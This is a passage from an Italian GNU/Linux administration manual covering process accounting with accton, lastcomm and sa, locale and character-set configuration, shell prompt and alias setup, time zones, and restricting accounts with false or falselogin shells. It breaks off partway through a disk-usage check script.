Al contrario della contabilità legata al file '`/var/log/wtmp`', le informazioni riferite ai processi vengono considerate delle informazioni riservate, pertanto i permessi del file '`/var/account/pacct`' dovrebbero impedire anche la lettura da parte degli utenti comuni.

Una gestione seria di questo sistema contabile richiede la sua attivazione e disattivazione attraverso la stessa procedura di inizializzazione del sistema. Semplificando molto le cose, lo script che attiva e disattiva la contabilità potrebbe essere fatto nel modo seguente:

```
#! /bin/sh

test -x /usr/sbin/accton || exit 0

case "$1" in
    start)
        echo "Avvio della contabilità dei processi."
        /usr/sbin/accton /var/account/pacct 2>/dev/null
        ;;
    stop)
        echo "Arresto della contabilità dei processi."
        /usr/sbin/accton 2>/dev/null
        ;;
    *)
        echo "Utilizzo: acct {start|stop}"
        exit 1
esac

exit 0
```

18.10.3.1 Utilizzo di «lastcomm»

Il programma '**`lastcomm`**'[46] è fondamentale per la lettura del file della contabilità dei processi. Di per sé, per funzionare, non richiede i privilegi dell'utente '**`root`**', però il file utilizzato per questa contabilità, '`/var/log/pacct`', è normalmente protetto contro qualunque accesso non privilegiato.

```
lastcomm [comando...] [utente...] [terminale...] [opzioni]
```

Il programma '**`lastcomm`**' può essere utilizzato senza argomenti, per ottenere tutte le informazioni contenute all'interno del file '`/var/log/pacct`', oppure può essere avviato con l'indicazione di comandi, utenti e terminali, in modo da limitare le informazioni che si vogliono estrarre da quel file.

Il listato tipico che si dovrebbe ottenere da questo programma è simile all'esempio seguente:

```
...
cat                    tizio    tty1       0.03 secs Tue Mar 30 07:38
ls                     tizio    tty1       0.04 secs Tue Mar 30 07:38
clear                  tizio    tty1       0.01 secs Tue Mar 30 07:38
```

Tabella 18.91. Alcune opzioni.

Opzione	Descrizione
`--user` ***nome_utente***	Se l'indicazione del nome di un utente può essere ambigua, nel senso che potrebbe essere confuso con un comando, si può utilizzare questa opzione.
`--command` ***comando***	Questa opzione permette di indicare un comando in modo da evitare ambiguità con i nomi degli utenti e dei terminali.
`--tty` ***terminale***	Questa opzione permette di indicare un terminale (il nome del dispositivo senza il prefisso '`/dev/`') in modo da evitare ambiguità con i nomi degli utenti e dei comandi.
`-f` ***file_della_contabilità*** `--file` ***file_della_contabilità***	Se si desidera consultare un file diverso da quello predefinito, si può utilizzare questa opzione per specificarlo.

Segue la descrizione di alcuni esempi.

- `#` **`lastcomm tizio`** [*Invio*]

  Mostra la contabilità dei processi riferita all'utente '**`tizio`**'.

- `#` **`lastcomm --user tizio`** [*Invio*]

  Esattamente come nell'esempio precedente, ma con l'indicazione esplicita che '**`tizio`**' è inteso essere un utente.

18.10.3.2 Utilizzo di «sa»

Il programma '**`sa`**' [47] genera delle statistiche dai dati contenuti nel file '`/var/account/pacct`', o in un altro che venga indicato come ultimo argomento della riga di comando. Oltre a questo, '**`sa`**' utilizza altri due file: '`/var/account/savacct`' e '`/var/account/usracct`'. Questi gli permettono di annotare le informazioni generate: nel primo caso riferite alla situazione complessiva; nel secondo distinte in base all'utente.

`sa` [***opzioni***] [***file_della_contabilità***]

A seconda di come è stato compilato il sorgente del programma, alcune opzioni possono essere disponibili o meno; inoltre, non è stabilito in modo univoco quale sia la collocazione esatta dei file utilizzati per questa contabilità. Per conoscere queste cose, basta avviare '**`sa`**' con l'opzione '**`-h`**'. In particolare, si potrebbe vedere il risultato seguente:

```
The system's default process accounting files are:

  raw process accounting data: /var/account/pacct
      summary by command name: /var/account/savacct
          summary by username: /var/account/usracct
```

In condizioni normali, quando '**`sa`**' viene avviato senza opzioni (o al massimo con l'indicazione del file contenente la contabilità), si ottiene un listato simile a quello seguente:

```
     246     112.57re       1.38cp
      24       8.60re       0.95cp   ***other*
       2       1.03re       0.19cp   dpkg
       5       5.08re       0.05cp   troff
      48       8.08re       0.03cp   sh
       2       0.43re       0.02cp   rm
      12       8.42re       0.02cp   man
      36       0.13re       0.02cp   sa
...
```

La prima colonna rappresenta l'utilizzo in termini di chiamate di sistema, dove per esempio '**`rm`**' è stato avviato solo due volte; la seconda colonna, dove i valori sono seguiti dalla sigla '**`re`**', indica il tempo reale di CPU; la terza colonna riporta la somma tra il tempo di sistema e quello utente dell'utilizzo della CPU; l'ultima colonna indica il nome del processo relativo.

Nel seguito vengono descritte solo alcune delle opzioni, dove in particolare sono state saltate quelle che possono aiutare a riordinare in modo differente i dati. Eventualmente, si può consultare la pagina di manuale *sa(8)*.

Tabella 18.94. Alcune opzioni.

Opzione	Descrizione
`-c` `--percentages`	Per ogni colonna di valori, ne aggiunge un'altra con le percentuali relative.
`-m` `--user-summary`	Invece di generare un listato normale organizzato secondo i processi, genera un riassunto dell'utilizzo in base agli utenti proprietari dei processi.
`-u` `--print-users`	Genera un elenco differente, composto dagli utenti, il tempo di CPU e il nome dei processi utilizzati dagli utenti stessi. Il risultato è un elenco molto più lungo del solito.

18.11 Configurazione e personalizzazione

Durante la fase di installazione di un sistema GNU, è normale per le varie distribuzioni di prendersi cura di un minimo di configurazione del sistema, soprattutto per ciò che riguarda le convenzioni nazionali. A questo proposito è bene conoscere l'uso di due termini comuni:

- ***internazionalizzazione***, abbreviato con la sigla ***i18n***, riferito alla creazione o alla modifica di un programma in modo che sia in grado di tenere conto delle preferenze dell'utente (basate generalmente sulle convenzioni nazionali);
- ***localizzazione***, abbreviato con la sigla ***l10n***, riferito all'azione di informare un programma sulla scelta di un insieme particolare di preferenze.

Ci sono aspetti della configurazione che riguardano il sistema nel suo complesso, come la definizione della mappa della tastiera, oppure solo una sessione di lavoro particolare. Questo significa che parte della configurazione è riservata all'amministratore, mentre il resto può essere modificato dal singolo utente, senza interferire sull'attività degli altri.

In questo capitolo si fa riferimento a concetti che possono essere chiariti solo in capitoli successivi, in particolare ciò che riguarda la shell e con essa la definizione delle variabili di ambiente. In particolare, gli esempi mostrati fanno riferimento alla shell standard (compatibili con quella di Bourne).

Nelle sezioni 15.3 e 15.4 viene descritta la configurazione della tastiera per l'uso con la console di un sistema GNU/Linux.

Nella sezione 31.7 viene descritta la configurazione della tastiera con il sistema grafico X.

18.11.1 Frammentazione del sistema di configurazione

Lo sconforto maggiore per chi si avvicina a un sistema operativo Unix (quali i sistemi GNU) per la prima volta, è dato dalla complessità del sistema di configurazione. Il problema è che non esiste una «autorità» unica di configurazione, perché le esigenze di questo tipo sono dinamiche, in funzione delle caratteristiche particolari dei programmi utilizzati.

A ben guardare, questo problema riguarda qualunque sistema operativo che abbia un minimo di complessità.

18.11.1.1 Collocazione

In linea di massima si distinguono due livelli: la configurazione globale del sistema, definita nei file contenuti nella directory '`/etc/`' che sono di competenza dell'amministratore del sistema; la configurazione particolare di ogni utente, definita da una serie di file, contenuti nelle rispettive directory personali (*home*), che si distinguono perché generalmente iniziano con un punto singolo.

La configurazione globale dovrebbe essere predisposta in modo da garantire i servizi previsti e la sicurezza richiesta dalle caratteristiche del sistema. Oltre a questo, dovrebbe offrire un'impostazione standard per gli utenti che poi potrebbero limitarsi a modificare il minimo indispensabile.

18.11.1.2 Sequenza

Si possono distinguere tre fasi nella definizione della configurazione del sistema:

1. la procedura di inizializzazione del sistema (Init);
2. lo script di configurazione globale della shell (nel caso di quelle standard, derivate dalla shell di Bourne, si tratta di '`/etc/profile`');
3. lo script di configurazione personale della shell (per esempio '`~/.profile`', o qualcosa di simile);
4. i programmi avviati successivamente utilizzano i loro metodi di configurazione, basati eventualmente su file di configurazione globale collocati nella directory '`/etc/`', su file di configurazione personalizzata collocati nelle directory personali degli utenti che li utilizzano, sulla presenza e sul contenuto di variabili di ambiente determinate.

La prima fase viene eseguita una volta sola all'atto dell'avvio del sistema. Serve per attivare i servizi previsti, generalmente in forma di programmi demone, oltre che per fissare alcuni elementi di configurazione che non possono essere demandati in alcun caso alla gestione da parte degli utenti comuni.

In questa fase, tra le altre cose, viene impostata la mappa della tastiera, si definiscono le interfacce di rete e gli instradamenti.

Tutto questo, naturalmente, può essere modificato dall'amministratore durante il funzionamento del sistema, attraverso comandi opportuni, ma è bene che il meccanismo funzioni correttamente all'avvio, in modo da ridurre i problemi.

La maggior parte delle distribuzioni GNU è organizzata in modo che uno script di questa procedura di avvio del sistema sia destinato a essere eseguito per ultimo. Il nome è solitamente '`rc.local`' e potrebbe trovarsi nella directory '`/etc/rc.d/`', '`/etc/init.d/`', o più semplicemente in '`/etc/`'. Questo script è il luogo conveniente per aggiungere l'avvio di alcuni servizi eccezionali o per definire parte della configurazione di rete, quando non si riesce a intervenire in modo più elegante.

Superata la fase di avvio sotto il controllo della procedura di inizializzazione del sistema, Init mette in funzione i programmi Getty che si occupano di attivare la procedura di accesso attraverso i terminali previsti (console inclusa). L'accesso attraverso uno di questi terminali fa sì che venga avviata la shell definita per quell'utente particolare.

Le shell usuali utilizzano uno script di configurazione globale, collocato nella directory '`/etc/`' e almeno uno personalizzato nella directory personale dell'utente: prima viene eseguito quello globale, quindi quello personalizzato.

Gli script di configurazione delle shell sono utilizzati prevalentemente per definire alcune variabili di ambiente utili per controllare il comportamento della shell stessa e di tutti i programmi che ne possono avere bisogno.

18.11.1.3 Effetto

È importante rendersi conto che le variabili di ambiente sono delle entità definite all'interno di un processo e si trasmettono ai processi discendenti con gli stessi valori, fino a quando non vengono modificate in qualche modo.

Questo significa anche che processi paralleli, avviati dallo stesso utente, possono avere configurazioni differenti per ciò che riguarda le variabili di ambiente, proprio perché questo «ambiente» viene modificato.

I programmi consentono spesso l'utilizzo di una configurazione basata sulla combinazione dell'uso di file e di variabili di ambiente, dove queste ultime prevalgono.

18.11.2 Configurazione in base alla nazionalità: localizzazione

La configurazione più importante a cui dovrebbe provvedere ogni singolo utente, è la definizione della localizzazione. Attraverso questa, con i programmi che sono in grado di riconoscerla e di adattarsi di conseguenza, si può specificare il linguaggio, l'insieme di caratteri e altre opzioni che dipendono tipicamente dalle convenzioni nazionali e locali.

Questo tipo di configurazione avviene attraverso la definizione di variabili di ambiente opportune.

La sigla «i18n» rappresenta scherzosamente il termine *internationalization*, in quanto la prima e l'ultima lettera, «i» e «n», sono separate da 18 caratteri. Nello stesso modo e con lo stesso ragionamento, la sigla «l10n» rappresenta il termine *localization*.

18.11.2.1 Disponibilità della localizzazione

Prima di configurare determinate variabili per attivare la localizzazione nei programmi che ne sono predisposti, occorre verificare che il sistema sia in grado di fornire le informazioni necessarie ai programmi. Infatti, a parte l'uso di variabili di ambiente, cosa che rappresenta solo l'aspetto più esterno del problema, occorre che siano stati definiti i file di conversione per il tipo di localizzazione che si intende ottenere.

Si ottiene un elenco dei nomi utilizzabili per definire la localizzazione con il comando seguente:

`$` **`locale -a`** [*Invio*]

Il vero problema nella localizzazione sta nel fatto che i nomi utilizzabili per definirla non sono standard e occorre almeno fare una piccola verifica in questo modo, una volta stabilito come si vuole agire.

I file di conversione utilizzati dal sistema per sostenere la localizzazione dovrebbero trovarsi a partire dalla directory '`/usr/share/locale/`', dalla quale si diramano tante directory quanti sono effettivamente i tipi di localizzazioni gestibili.

Se nell'elenco ottenuto non c'è ciò che serve alla propria lingua, è molto probabile che non siano state compilate le informazioni necessarie a partire dai sorgenti di queste. A tale proposito si può consultare il capitolo 14.

18.11.2.2 Scelta della definizione

La localizzazione, così come risulta organizzata nei sistemi Unix, può essere definita solo in base all'appartenenza a un certo paese, o al massimo, in alcuni casi, a una certa regione. Per la precisione, questa regionalizzazione si basa sulla scelta di una lingua e di una nazione (si pensi al caso della Svizzera che ha tre lingue nazionali). Eventualmente è consentito scegliere l'insieme di caratteri.

La tabella 18.95 mostra l'elenco di alcuni codici tipici per la definizione della localizzazione.

Tabella 18.95. Alcuni codici per la definizione della localizzazione.

Nome	Descrizione
`it_IT`	Lingua italiana, nazionalità italiana, codifica predefinita.
`it_IT.ISO-8859-1`	Lingua italiana, nazionalità italiana, codifica ISO 8859-1.
`it_IT.UTF-8`	Lingua italiana, nazionalità italiana, codifica UTF-8.
`de_DE`	Lingua tedesca, nazionalità tedesca, codifica predefinita.
`de_DE.ISO-8859-1`	Lingua tedesca, nazionalità tedesca, codifica ISO 8859-1.

Nome	Descrizione
de_DE.UTF-8	Lingua tedesca, nazionalità tedesca, codifica UTF-8.
fr_FR	Lingua francese, nazionalità francese, codifica predefinita.
fr_FR.ISO-8859-1	Lingua francese, nazionalità francese, codifica ISO 8859-1.
fr_FR.UTF-8	Lingua francese, nazionalità francese, codifica UTF-8.
it_CH	Lingua italiana, nazionalità svizzera, codifica predefinita.
it_CH.ISO-8859-1	Lingua italiana, nazionalità svizzera, codifica ISO 8859-1.
it_CH.UTF-8	Lingua italiana, nazionalità svizzera, codifica UTF-8.
de_CH	Lingua tedesca, nazionalità svizzera, codifica predefinita.
de_CH.ISO-8859-1	Lingua tedesca, nazionalità svizzera, codifica ISO 8859-1.
de_CH.UTF-8	Lingua tedesca, nazionalità svizzera, codifica UTF-8.
fr_CH	Lingua francese, nazionalità svizzera, codifica predefinita.
fr_CH.ISO-8859-1	Lingua francese, nazionalità svizzera, codifica ISO 8859-1.
fr_CH.UTF-8	Lingua francese, nazionalità svizzera, codifica UTF-8.
de_AT	Lingua tedesca, nazionalità austriaca, codifica predefinita.
de_AT.ISO-8859-1	Lingua tedesca, nazionalità austriaca, codifica ISO 8859-1.
de_AT.UTF-8	Lingua tedesca, nazionalità austriaca, codifica UTF-8.

Per l'Italia, la definizione corretta, completa, dovrebbe essere '**it_IT.UTF-8**', oppure '**it_IT.ISO-8859-1**' se si preferisce usare una codifica tradizionale.

Prima di proseguire, è il caso di insistere sul fatto che tra un sistema Unix e l'altro, le definizioni usate per distinguere i vari tipi di localizzazione potrebbero essere anche molto diverse. Seguono gli esempi di alcuni modi possibili, ma non sempre validi, per rappresentare la localizzazione italiana, specificando eventualmente la codifica UTF-8:

- **it**
- **italian**
- **it_IT**
- **it_IT.UTF-8**
- **italian.UTF8**
- **it_IT.utf-8**
- **it_IT.utf8**

18.11.2.3 Variabili per la localizzazione

Una volta stabilita la definizione da adottare per l'impostazione corretta della localizzazione, si deve passare alla «attivazione» delle variabili di ambiente desiderate, assegnando loro le scelte rispettive. Per controllare l'effetto di una configurazione particolare, basta usare '`locale`' senza argomenti.

`LC_ALL`

Questa variabile serve a definire in un colpo solo tutta la localizzazione, sovrapponendosi a tutte le altre variabili di ambiente destinate a questo scopo, qualunque sia il loro contenuto effettivo. Per questo motivo è decisamente **sconsigliabile** il suo utilizzo, almeno in una configurazione accurata.

Un buon motivo per evitare di utilizzare questa variabile è quello per cui alcuni applicativi, come Perl, non accettano l'incoerenza tra questa variabile e altre del gruppo ***LC_****, rendendo inutile l'uso di una variabile che si impone sulle altre.

`LANG`

LANG permette di definire la localizzazione predefinita per le variabili del gruppo ***LC_**** che non siano state definite. Per questo, è molto importante definire e assegnare un valore alla variabile ***LANG***, in modo da garantire che siano considerati tutti i vari aspetti della localizzazione, anche se non specificati esplicitamente. Segue un esempio di script per configurare la variabile ***LANG*** secondo la localizzazione italiana predefinita:

```
#!/bin/sh
…
LANG=it_IT.UTF-8
export LANG
```

`LC_COLLATE`

Questa variabile permette di definire l'ordine dei caratteri, influenzando le operazioni di ordinamento (vero e proprio) e in generale quelle di confronto. Segue un esempio:

```
#!/bin/sh
…
LC_COLLATE=it_IT.UTF-8
export LC_COLLATE
```

`LC_CTYPE`

Questa variabile permette di definire l'insieme di caratteri. Ciò può avere effetto sulla loro rappresentazione, sull'abbinamento tra minuscole e maiuscole, sulla classificazione dei caratteri; per esempio: numerici, alfabetici, di punteggiatura e diversi. Segue un esempio:

```
#!/bin/sh
…
LC_CTYPE=it_IT.UTF-8
export LC_CTYPE
```

LC_NUMERIC

Questa variabile permette di definire il modo di rappresentazione dei numeri. A livello pratico, quello che si può ottenere è lo scambio tra il punto e la virgola per la rappresentazione della parte numerica decimale e per la separazione delle migliaia. Segue un esempio:

```
#!/bin/sh
…
LC_NUMERIC=it_IT.UTF-8
export LC_NUMERIC
```

LC_MONETARY

Questa variabile permette di definire il modo di rappresentazione delle valute: il simbolo di valuta, il numero di decimali da adottare e altre caratteristiche eventuali.

LC_TIME

Questa variabile permette di definire la rappresentazione delle informazioni data-orario. Si tratta di un'impostazione importante, perché, tra le altre cose, fa sì che i comandi di sistema restituiscano i nomi dei mesi e dei giorni della settimana in italiano. Segue un esempio:

```
#!/bin/sh
…
LC_TIME=it_IT.UTF-8
export LC_TIME
```

L'esempio successivo mostra come potrebbe essere visualizzata la data dal comando '**date**', quando la variabile ***LC_TIME*** è configurata per la localizzazione italiana.

$ **date** [*Invio*]

```
dom ago  2 15:35:48 CEST 1998
```

18.11.2.4 Definizioni standard di localizzazione

Esistono due definizioni locali standard che è bene conoscere: '**C**' e '**POSIX**'. Entrambe rappresentano la stessa impostazione predefinita, in mancanza di altre definizioni. La distinzione tra i due nomi deriva dall'origine, rispettivamente lo standard del linguaggio C e lo standard dei sistemi POSIX. La definizione locale '**C**' riguarda la programmazione in linguaggio C, indipendente dal sistema operativo, mentre la definizione '**POSIX**' riguarda la programmazione (in C o in altri linguaggi), nell'ambito più ristretto dei sistemi operativi che aderiscono allo standard POSIX.

18.11.2.5 Utilizzo di «locale»

Il programma '**locale**'[48] permette di conoscere l'impostazione del proprio sistema di localizzazione ed è utile per verificare la configurazione delle variabili di ambiente relative.

```
locale [opzioni]
```

Tabella 18.102. Alcune opzioni.

Opzione	Descrizione
-a --all-locale	Emette l'elenco di tutti i nomi utilizzabili nelle definizioni di localizzazione.
-m --charmaps	Emette l'elenco di tutti i nomi riferiti a definizioni di mappe di caratteri.

Utilizzando '**locale**' senza argomenti, si ottiene la situazione corrente dell'impostazione della localizzazione. Si supponga di ottenere quanto segue:

$ **locale** [*Invio*]

```
LANG=POSIX
LC_CTYPE=it_IT
LC_NUMERIC="POSIX"
LC_TIME=it_IT.UTF-8
LC_COLLATE="POSIX"
LC_MONETARY="POSIX"
LC_MESSAGES="POSIX"
LC_ALL=
```

Quanto ottenuto in questo esempio rappresenta l'impostazione delle sole variabili ***LC_CTYPE*** e ***LC_TIME***, con valori simili e di fatto equivalenti. Tutte le altre variabili, non essendo state definite, sono impostate secondo la localizzazione '**POSIX**', ovvero quella predefinita in un sistema Unix aderente allo standard.

18.11.3 Insieme di caratteri

In linea di massima, la localizzazione definita attraverso le variabili di ambiente ***LC_**** , descritte nelle sezioni precedenti, dovrebbe essere sufficiente per stabilire implicitamente anche le esigenze relative all'insieme dei caratteri utilizzato per la visualizzazione dei dati. In pratica, la localizzazione '**it_IT.UTF-8**' dovrebbe stabilire che l'insieme dei caratteri è quello universale (ISO 10646), secondo la codifica UTF-8. In pratica, alcuni programmi ignorano la localizzazione, oppure sono configurati in modo predefinito in senso contrario.

18.11.3.1 Variabile di ambiente «LESSCHARSET»

Il programma '**less**', utilizzato generalmente per lo scorrimento a video del testo delle pagine di manuale, è sensibile al contenuto della variabile ***LESSCHARSET***. In situazioni particolari, per visualizzare correttamente del testo che contenga lettere accentate e altri simboli utilizzati nella codifica UTF-8 (insieme di caratteri universale ISO 10646), potrebbe essere necessario che contenga la stringa '**utf-8**'.

```
#!/bin/sh
…
LESSCHARSET=utf-8
export LESSCHARSET
```

L'esempio mostra un pezzo di uno script attraverso cui viene definita la variabile ***LESSCHARSET*** nel modo descritto.

18.11.3.2 File «/etc/man.config» o «/etc/manpath.config»

Il programma '**man**' potrebbe essere configurato attraverso il file '`/etc/man.config`' o '`/etc/manpath.config`'. Questo file serve a definire i comportamenti di '**man**' e in particolare gli argomenti da utilizzare per i programmi usati per la formattazione del testo della documentazione tradizionale.

I programmi '**groff**' e '**geqn**', quando vengono usati per generare il testo da visualizzare a video (testo che poi viene gestito attraverso '**more**' o '**less**'), potrebbero richiedere l'uso dell'opzione '**-T**' con l'argomento '**utf8**' (quando si intende utilizzare tale codifica), in modo da consentire l'emissione di caratteri secondo la codifica UTF-8. Nel caso si dovessero riscontrare problemi a visualizzare le lettere accentate, la configurazione con il file '`/etc/man.config`' potrebbe essere cambiata in modo simile a quella seguente:

```
TROFF           /usr/bin/groff -Tps -mandoc
NROFF           /usr/bin/groff -Tutf8 -mandoc
EQN             /usr/bin/geqn -Tps
NEQN            /usr/bin/geqn -Tutf8
TBL             /usr/bin/gtbl
# COL           /usr/bin/col
REFER           /usr/bin/grefer
PIC             /usr/bin/gpic
VGRIND
GRAP
PAGER           /usr/bin/less -is
CAT             /bin/cat
```

Nell'esempio appena mostrato si vede in particolare l'uso dell'opzione '**-Tutf8**' per '**groff**' e '**geqn**', quando questi programmi servono per generare testo da visualizzare attraverso lo schermo a caratteri. Nell'esempio successivo si vede come potrebbe essere necessario modificare il file '`/etc/manpath.config`':

```
DEFINE  pager   exec /usr/bin/pager -s
DEFINE  cat     /bin/cat
DEFINE  tr      /usr/bin/tr '\255\267\264\327' '\055\157\047\170'
DEFINE          grep    /bin/grep
DEFINE  troff   /usr/bin/groff -mandoc
DEFINE  nroff   /usr/bin/nroff -Tutf8 -mandoc
DEFINE  eqn     /usr/bin/eqn
DEFINE  neqn    /usr/bin/neqn -Tutf8
DEFINE  tbl     /usr/bin/tbl
DEFINE  col     /usr/bin/col
DEFINE  vgrind  /usr/bin/vgrind
DEFINE  refer   /usr/bin/refer
DEFINE  grap    /usr/bin/grap
DEFINE  pic     /usr/bin/pic -S

DEFINE          decompressor    /bin/gzip -dc
DEFINE          compressor      /bin/gzip -c7
```

Si osservi, comunque, che nelle situazioni comuni, l'uso dell'opzione '**-T**' non è necessario, perché i programmi rispondono correttamente alla configurazione stabilita con le variabili di ambiente ***LC_*** e ***LANG***.

18.11.4 Configurazioni comuni varie

Alcuni tipi di configurazione comune, sono di minore importanza e in parte già descritti altrove in questo documento, ma può essere utile raccoglierli come riferimento.

18.11.4.1 Invito della shell

Per quanto banale, la configurazione dell'invito della shell può essere molto importante. Il suo aspetto e la sua configurazione dipendono dalla shell stessa.

Chi utilizza una shell standard, o comunque derivata da quella di Bourne deve impostare la variabile di ambiente ***PS1***. Nel caso di Bash si può utilizzare eventualmente la definizione seguente, nel file '`/etc/profile`', se deve riguardare la configurazione standard per tutti gli utenti, oppure nel file '`~/.bash_profile`' se si tratta della configurazione personale (o in mancanza il file '`~/.profile`').

```
PS1='\u@\h:\w\$ '
export PS1
```

Sempre nell'ipotesi di una shell Bash, potrebbe essere piacevole avere un modo per visualizzare il successo o meno dell'esecuzione dell'ultimo programma; in pratica, si tratta di un modo per controllare il contenuto del parametro '**$?**':

```
dynamic_prompt () {
    if [ $? = 0 ]
    then
        echo ":)"
    else
        echo ":("
    fi
}
export -f dynamic_prompt
#
PS1='\u@\h:\w\$ '
#
if [ "$BASH" != "" ]
then
    #
    # This is BASH.
    #
    PS1="\$(dynamic_prompt) $PS1"
fi
export PS1
```

Come si vede, si tratta di una funzione, denominata '**dynamic_prompt**', che viene utilizzata nella stringa della variabile ***PS1*** solo se ci si accerta che si tratta proprio della shell Bash.

18.11.4.2 Prevenzione dalla cancellazione involontaria

Più volte, in questo documento, è ripetuto quanto sia facile eliminare inavvertitamente dei file, per un utilizzo improprio del comando di cancellazione, '**rm**', oppure per una sovrascrittura involontaria attraverso la copia o lo spostamento dei file.

La shell Bash permette di creare degli alias a comandi normali, definendo l'utilizzo sistematico di opzioni determinate. I comandi seguenti definiscono tre alias ai comandi '**rm**', '**cp**' e '**mv**', in modo che venga usata sempre l'opzione '**-i**', con la quale si ottiene una richiesta di conferma nel momento in cui si richiede la cancellazione di un file per qualunque motivo.

```
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
```

Successivamente, per evitare la seccatura di dover confermare la cancellazione o la sovrascrittura di file, è sufficiente utilizzare l'opzione '**-f**' (*force*).

18.11.4.3 Libreria Readline

Molti programmi che funzionano in modo interattivo mostrando un invito all'inserimento dei comandi (un *prompt*) e offrendo una riga di comando, sfruttano una libreria molto sofisticata per farlo: si tratta generalmente della libreria Readline. La shell Bash è l'applicativo più comune che utilizza questa libreria.

Può essere utile definire la configurazione di questa libreria attraverso il file '`~/.inputrc`' (il file di configurazione generale, '`/etc/inputrc`', potrebbe essere ignorato), in modo da

facilitare l'uso della tastiera e l'inserimento di caratteri che utilizzano anche l'ottavo bit. L'esempio seguente si riferisce alla configurazione necessaria per l'uso ottimale di una console virtuale su un elaboratore con architettura x86.

```
# Abilita l'inserimento di caratteri a 8 bit.
set meta-flag          on

# Disabilita la conversione dei caratteri con l'ottavo bit attivo
# in sequenze di escape.
set convert-meta       off

# Abilita la visualizzazione di caratteri a 8 bit.
set output-meta        on

# Modifica l'abbinamento con i tasti rispetto a determinati comportamenti.
"\e[1~": beginning-of-line      # [home]              era C-a
"\e[4~": end-of-line            # [fine]              era C-e
"\e[3~": delete-char            # [canc]              era C-d
"\e[5~": backward-word          # [pagina su]         era M-b
"\e[6~": forward-word           # [pagina giù]        era M-f
```

18.11.5 Fuso orario

«

Nei sistemi Unix in generale, l'orologio «fisico» dell'elaboratore viene regolato sul tempo universale (UT, in passato noto come GMT), in modo tale che il sistema operativo possa fornire l'ora locale in base alla configurazione, la quale potrebbe variare anche a livello di ogni utente.

Lo standard comune prevede la presenza di un file di configurazione costituito da '`/usr/share/zoneinfo/localtime`'; tuttavia, se esiste la variabile di ambiente ***TZ*** (*Time zone*), il suo contenuto prende il sopravvento.

Il file '`/usr/share/zoneinfo/localtime`' deve essere realizzato secondo un formato particolare, pertanto sono spesso presenti file già pronti per i vari fusi orari utilizzati, così che '`/usr/share/zoneinfo/localtime`' può essere semplicemente un collegamento simbolico al file effettivo. Per maggiore semplicità, succede normalmente che '`/usr/share/zoneinfo/localtime`' sia un collegamento simbolico a '`/etc/localtime`', che a sua volta è un altro collegamento simbolico al file che contiene l'informazione.

A titolo di esempio, per fare riferimento al fuso orario che riguarda le convenzioni italiane, si prende in considerazione il file '`/usr/share/zoneinfo/Europ/Rome`' e si puntano su questo file, direttamente o indirettamente, i collegamenti simbolici '`/usr/share/zoneinfo/localtime`' e '`/etc/localtime`'.

La configurazione, eventuale, della variabile di ambiente ***TZ***, prevede l'indicazione delle informazioni in diversi modi alternativi; per maggiori dettagli, si veda la pagina di manuale *tzset(3)*.

18.12 Limiti alle utenze

Nella gestione di sistemi con molte utenze, diventa presto importante trovare un modo semplice per limitare l'accesso o le risorse loro concesse. In questo capitolo si annotano alcune soluzione «semplici» dal punto di vista realizzativo.

18.12.1 Una shell per impedire l'accesso

Un metodo molto semplice per impedire l'accesso a un utente, tanto più se si tratta di un utente fittizio, il quale non può e non deve avere materialmente accesso, consiste nell'attribuire come shell un programma che si comporti in modo diverso dal previsto. Di solito, per queste cose si usa il programma '**false**' che, tradizionalmente, si limita a restituire un valore che rappresenta un errore, cosa che generalmente si considera equivalere a *Falso*. Ecco un esempio estratto da un file '`/etc/passwd`':

```
...
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
...
```

È evidente che tali utenti non hanno nemmeno una parola d'ordine valida, ma questa prudenza ulteriore non può essere dannosa.

Quando si vuole usare un metodo del genere per delle utenze reali, allo scopo di impedire temporaneamente l'accesso per qualche ragione, può essere più conveniente l'uso di un programma specifico, per dare delle informazioni all'utente che viene allontanato dal sistema. A questo proposito si può usare, per esempio, il programma '**falselogin**',[49] come nel modo seguente nel file '`/etc/passwd`':

```
...
tizio:x:499:499:Tizio,,,:/home/tizio:/usr/bin/falselogin
caio:x:498:498:Caio,,,:/home/caio:/usr/bin/falselogin
sempronio:x:497:497:Sempronio,,,:/home/sempronio:/usr/bin/falselogin
mevio:x:496:496:Mevio,,,:/home/mevio:/usr/bin/falselogin
filano:x:495:495:Filano,,,:/home/filano:/usr/bin/falselogin
martino:x:494:494:Martino,,,:/home/martino:/usr/bin/falselogin
calpurnio:x:493:493:calpurnio,,,:/home/calpurnio:/usr/bin/falselogin
...
```

Lo scopo di '**falselogin**' è quello di mostrare all'utente un messaggio, che viene configurato con il file '`/etc/falselogin.conf`'. Quello che segue è l'esempio del file di configurazione predefinito nella distribuzione GNU/Linux Debian:

```
Welcome at %host% (Debian %debian_version% %sysname% %release%)!

%mail%

Sorry %user% but our server does not accept shell logins.
So long and thanks for all the fish.
```

Come si può intuire, sono disponibili delle metavariabili indicate secondo la forma '%*nome*%'. L'elenco completo di queste è disponibile nella pagina di manuale *falselogin(1)*.

Qualunque sia il programma che si intende indicare in funzione di shell (reale o fittizia che sia), è necessario che questo sia previsto nel file '/etc/shells':

```
…
/bin/false
/usr/bin/falselogin
…
```

18.12.2 Controllo dello spazio utilizzato, senza l'uso tradizionale delle quote

In certi casi, la gestione delle quote (sezione 21.6) può essere scomoda o creare una complicazione eccessiva. Se si limita agli utenti la disponibilità di poche shell compatibili nell'uso dei file di configurazione, si può intervenire proprio su questi per svolgere una serie di controlli prima di mettere l'utente in condizione di operare.

Se si può contare sull'uso del file '/etc/profile' per un gruppo limitato di shell più o meno compatibili con lo standard POSIX, si può aggiungere in coda a tale script il codice seguente:[50]

```
1   #
2   # Check "$HOME" usage
3   #
4   if [ "$USER" != "root" ]
5   then
6       HOME_DISK_SPACE_ALLOWED="10000000"
7       echo ""
8       echo "Please wait for disk space usage verification..."
9       echo ""
10      #
11      # Calculate user's disk space usage.
12      #
13      HOME_DISK_SPACE_USED=`du -bs $HOME 2> /dev/null | sed "s/\t.*$//"`
14      #
15      HOME_DISK_SPACE_USED_PERCENTAGE=↵
    ↪$(($HOME_DISK_SPACE_USED*100/$HOME_DISK_SPACE_ALLOWED))
16      #
17      echo "Your disk usage is $HOME_DISK_SPACE_USED bytes."
18      echo "You are allowed to use up to $HOME_DISK_SPACE_ALLOWED bytes."
19      echo "You are using $HOME_DISK_SPACE_USED_PERCENTAGE% ↵
    ↪of the allowed disk space."
20      echo ""
21      if [ "$HOME_DISK_SPACE_USED_PERCENTAGE" -gt "100" ]
22      then
